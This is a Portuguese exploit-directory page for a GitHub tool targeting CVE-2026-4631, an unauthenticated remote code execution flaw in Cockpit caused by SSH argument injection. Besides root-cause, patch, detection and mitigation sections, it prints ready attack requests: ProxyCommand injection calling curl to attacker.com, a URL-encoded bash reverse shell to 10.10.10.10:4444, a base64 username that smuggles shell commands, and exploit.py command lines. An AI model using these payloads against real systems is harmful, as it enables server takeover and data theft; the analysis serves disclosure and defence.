Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit: Execução Remota de Código Não Autenticada via Injeção de Argumentos de Linha de Comando SSH | Kitploit
Ferramentas/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed Teaming
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit: Execução Remota de Código Não Autenticada via Injeção de Argumentos de Linha de Comando SSH

Ver Repositório
146há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-4631 — Análise de Código

Cockpit: Execução Remota de Código Não Autenticada via Injeção de Argumentos de Linha de Comando SSH

CampoDetalhe
ID CVECVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
SeveridadeCrítica (CVSS 9.8)
Versões afetadasCockpit 327 – 359
Corrigido emCockpit 360
CWECWE-78: Injeção de Comando no SO
Autenticação necessáriaNÃO
Reportado porJelle van der Waa

Índice

  1. Visão Geral da Vulnerabilidade
  2. Contexto da Arquitetura
  3. Análise da Causa Raiz
  4. Código Vulnerável — Arquivo por Arquivo
  5. Vetores de Ataque
  6. Diagrama de Fluxo de Dados
  7. Análise do Patch
  8. Detecção
  9. Referências

1. Visão Geral da Vulnerabilidade

O recurso de login remoto do Cockpit passa nomes de host fornecidos pelo usuário (do caminho da URL) e nomes de usuário (do cabeçalho Authorization: Basic) diretamente para o binário OpenSSH ssh, sem qualquer validação ou sanitização.

Um atacante não autenticado com acesso de rede à porta 9090 pode criar uma única solicitação HTTP que:

  • Injeta opções SSH arbitrárias por meio do campo hostname (-oProxyCommand=<cmd>)
  • Injeta comandos de shell por meio do campo username, explorando a expansão do token %r do SSH

Ambos os pontos de injeção são acionados antes da conclusão da verificação de credenciais, o que significa que nenhum login válido é necessário.


2. Contexto da Arquitetura

Fluxo Normal de Login Remoto

Auth-flow

O Que Mudou na Versão 327

Antes da versão 327, o Cockpit usava um binário C dedicado chamado cockpit-ssh (baseado em libssh) para conexões remotas. A partir da versão 327, isso foi substituído por:

root@kitploit:~
python3 -m cockpit.beiboot

que invoca o cliente OpenSSH ssh do sistema. Essa mudança introduziu a vulnerabilidade porque o novo caminho de código passa valores controlados pelo usuário diretamente para o ssh, sem sanitização.


3. Análise da Causa Raiz

Problema 1 — Sem Separador -- Antes do Hostname

O cliente SSH interpreta argumentos que começam com - como opções, e não como um hostname, a menos que um separador -- os preceda. Sem --, qualquer hostname que comece com - é interpretado como uma flag SSH.

Construção vulnerável:

root@kitploit:~
ssh [opções] <hostname> <comando-remoto>

Construção segura:

root@kitploit:~
ssh [opções] -- <hostname> <comando-remoto>

Problema 2 — Sem Validação de Entrada

Nem cockpit-ws (código C) nem cockpit.beiboot (código Python) validam ou sanitizam:

  • O hostname extraído do caminho da URL
  • O nome de usuário extraído do cabeçalho Authorization: Basic

Problema 3 — Bug do Python argparse (CPython #66623)

Um bug conhecido do CPython faz com que o argparse trate incorretamente argumentos que começam com - e também contêm espaços, tratando-os como posicionais em vez de flags. Isso permite que um hostname -oProxyCommand=evil command passe pela análise de argumentos do Python e chegue ao ssh como uma opção.


4. Código Vulnerável — Arquivo por Arquivo

4.1 src/cockpit/beiboot.py — Ponto de Injeção Primário

Este é o arquivo mais crítico. A função via_ssh() constrói a lista de argumentos do comando SSH.

Código vulnerável (antes do patch)

root@kitploit:~
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

Como fica a invocação SSH resultante

Com dest = "-oProxyCommand=curl http://attacker.com/id":

root@kitploit:~
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← opção do cockpit
arg2: -oProxyCommand=curl http://...   ←  INTERPRETADA COMO OPÇÃO SSH (não host)
arg3: python3 -ic '# cockpit-bridge'   ← torna-se o "hostname" → aciona o ProxyCommand

Código corrigido (versão 360)

root@kitploit:~
    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — Camada C: Extração do Hostname

Este arquivo C lida com a análise inicial da solicitação HTTP e inicia o processo beiboot.

Extração do hostname da URL (sem validação)

root@kitploit:~
static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

O hostname retornado é passado diretamente como argumento ao iniciar o beiboot:

root@kitploit:~
// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

Corrigido na versão 360

root@kitploit:~
//  FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Extração do nome de usuário do cabeçalho Authorization (sem validação)

root@kitploit:~
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  unsanitized
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — Terceiro Ponto de Injeção

A biblioteca ferny incluída (usada para interação SSH) tem a mesma omissão de -- em sua chamada de subprocesso.

Código vulnerável (antes do patch)

root@kitploit:~
async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE is not generally available, so use setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNERABLE: hardcoded path + no '--' before destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

Código corrigido (versão 360)

root@kitploit:~
    process = await asyncio.create_subprocess_exec(
        #  FIXED: PATH lookup instead of hardcoded path + '--' added
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

4.4 containers/ws/cockpit-auth-ssh-key — Caminho de Implantação em Contêiner

Este script é o comando de autenticação usado em implantações do Cockpit baseadas em Docker/contêiner.

root@kitploit:~
#!/usr/bin/env python3

import os, sys

# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

Este é um ponto de entrada separado do caminho principal beiboot.py, o que significa que implantações do Cockpit em contêiner são independentemente vulneráveis, mesmo que o caminho de código principal seja corrigido.


5. Vetores de Ataque

Vetor 1 — Hostname → Injeção de ProxyCommand

Pré-condição: OpenSSH < 9.6 no host do Cockpit (o OpenSSH 9.6 introduziu validação precoce de hostname que bloqueia metacaracteres de shell).

Solicitação HTTP:

root@kitploit:~
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

Authorization decodificada: invalid:invalid — qualquer valor funciona.

Como funciona:

  1. O cockpit-ws extrai -oProxyCommand=<COMMAND> do caminho da URL como o "hostname"
  2. O via_ssh() do beiboot constrói: ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'
  3. O SSH interpreta -oProxyCommand=<COMMAND> como uma opção (não como host)
  4. O SSH usa python3 -ic '# cockpit-bridge' como o hostname
  5. O SSH executa <COMMAND> como o ProxyCommand ao conectar-se a esse "hostname"
  6. <COMMAND> é executado como o usuário do processo cockpit-ws

Exemplo — callback OOB:

root@kitploit:~
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

ProxyCommand decodificado: curl http://attacker.com/id``

Exemplo — reverse shell:

root@kitploit:~
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

ProxyCommand decodificado: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1


Vetor 2 — Username → Injeção de Token %r

Pré-condição: O ssh_config do alvo contém uma diretiva Match exec usando o token %r (nome de usuário remoto).

Exemplo de ssh_config vulnerável:

root@kitploit:~
Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

Solicitação HTTP:

root@kitploit:~
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

Authorization decodificada: x; touch /tmp/pwned; #:invalid

Nome de usuário extraído: x; touch /tmp/pwned; #

Como funciona:

  1. O SSH expande %r com o nome de usuário antes de executar o comando Match exec
  2. O shell recebe: /usr/bin/test x; touch /tmp/pwned; # = blocked_user
  3. O shell interpreta os pontos e vírgulas: executa touch /tmp/pwned e ignora o restante
  4. O SSH rejeita posteriormente o formato do nome de usuário — mas o comando já foi executado

6. Diagrama de Fluxo de Dados

Auth-bypass


7. Análise do Patch

A correção é mínima — adicionar -- (o separador POSIX de fim de opções) antes do argumento de destino em todos os lugares onde o SSH é invocado.

Patch 1 — src/cockpit/beiboot.py (commit 9d0695647)

root@kitploit:~
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

Patch 2 — src/ws/cockpitauth.c (commit 9d0695647)

root@kitploit:~
- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Patch 3 — vendor/ferny/src/ferny/session.py (commit 44ec511c99)

root@kitploit:~
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

Por que -- Corrige o Problema

O token -- informa aos analisadores de argumentos (tanto o argparse do Python quanto o analisador de opções do OpenSSH) que todos os tokens subsequentes são argumentos posicionais, não opções. Após --, um valor como -oProxyCommand=evil é tratado como uma string literal de hostname, que o SSH então rejeita como inválida — ele nunca executa nada.


8. Detecção

Detecção em Nível de Rede

Procure por solicitações HTTP ao endpoint de login do Cockpit onde o componente de caminho contém sintaxe de opção SSH:

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

Especificamente, observe:

  • -oProxyCommand= no caminho da URL (Vetor 1)
  • Pontos e vírgulas no valor decodificado de Authorization: Basic (Vetor 2)

Detecção em Logs (journald)

root@kitploit:~
# Verifique a inicialização do beiboot com argumentos suspeitos
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Verifique invocações SSH do usuário cockpit-ws
journalctl _COMM=ssh | grep -v "^--$"

Verificação de Versão

root@kitploit:~
# Verifique se a versão instalada é vulnerável
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerável se a versão estiver entre 327 e 359 inclusive

rpm -q cockpit-ws
# A mesma verificação de versão se aplica

9. Vetores de Ataque

Escanear um único alvo

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username

Username injection

Escanear vários alvos a partir de arquivo

root@kitploit:~
python3 exploit.py --file url.txt --vector username

Username injection

Detectar usando OOB

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

Username injection

Vetor de Ataque 1 — Username → Injeção de Token %r

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Username injection

Mitigação (se a correção não for imediata)

Adicione ao /etc/cockpit/cockpit.conf:

root@kitploit:~
[WebService]
LoginTo = false

Isso desativa completamente o recurso de login remoto, impedindo que o caminho de código beiboot seja acionado.


10. Referências

RecursoURL
Divulgação OSS-Securityhttps://www.openwall.com/lists/oss-security/2026/04/10/5
Aviso de Segurança do GitHubhttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Issue do Bugzillahttps://bugzilla.redhat.com/show_bug.cgi?id=2450246
Commit de correção (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
Commit de correção (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
Bug do argparse do CPythonhttps://github.com/python/cpython/issues/66623
Validação de hostname do OpenSSH 9.6https://github.com/openssh/openssh-portable/commit/7ef3787
Baixar ferramenta